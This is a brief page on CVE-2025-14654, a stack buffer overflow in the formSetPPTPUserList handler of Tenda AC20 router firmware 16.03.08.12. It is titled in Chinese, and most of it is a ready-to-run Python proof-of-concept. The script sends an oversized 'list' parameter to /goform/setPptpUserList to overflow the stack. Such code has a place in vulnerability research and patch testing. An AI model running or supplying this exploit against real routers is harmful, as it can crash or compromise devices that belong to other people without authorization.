CVE-2025-14654 Tenda AC20路由器 formSetPPTPUserList 栈缓冲区溢出漏洞

import requests # CVE-2025-14654 PoC - Tenda AC20 Stack Buffer Overflow # Target: Tenda AC20 router with firmware 16.03.08.12 # Endpoint: /goform/setPptpUserList target_ip = "192.168.0.1" # Typical Tenda router IP target_port = 80 # Construct malicious payload with oversized parameter # The vulnerability is in formSetPPTPUserList function # Sending a parameter exceeding the stack buffer size causes overflow def create_exploit_payload(payload_size=1000): """Generate overflow payload""" # Create a large string that will overflow the buffer overflow_data = "A" * payload_size return overflow_data def exploit_cve_2025_14654(): """Send exploit request to vulnerable endpoint""" url = f"http://{target_ip}:{target_port}/goform/setPptpUserList" # Payload for triggering buffer overflow # Adjust size based on actual buffer boundary exploit_data = { "list": create_exploit_payload(1000), "page": "1", "action": "set" } try: response = requests.post(url, data=exploit_data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": exploit_cve_2025_14654()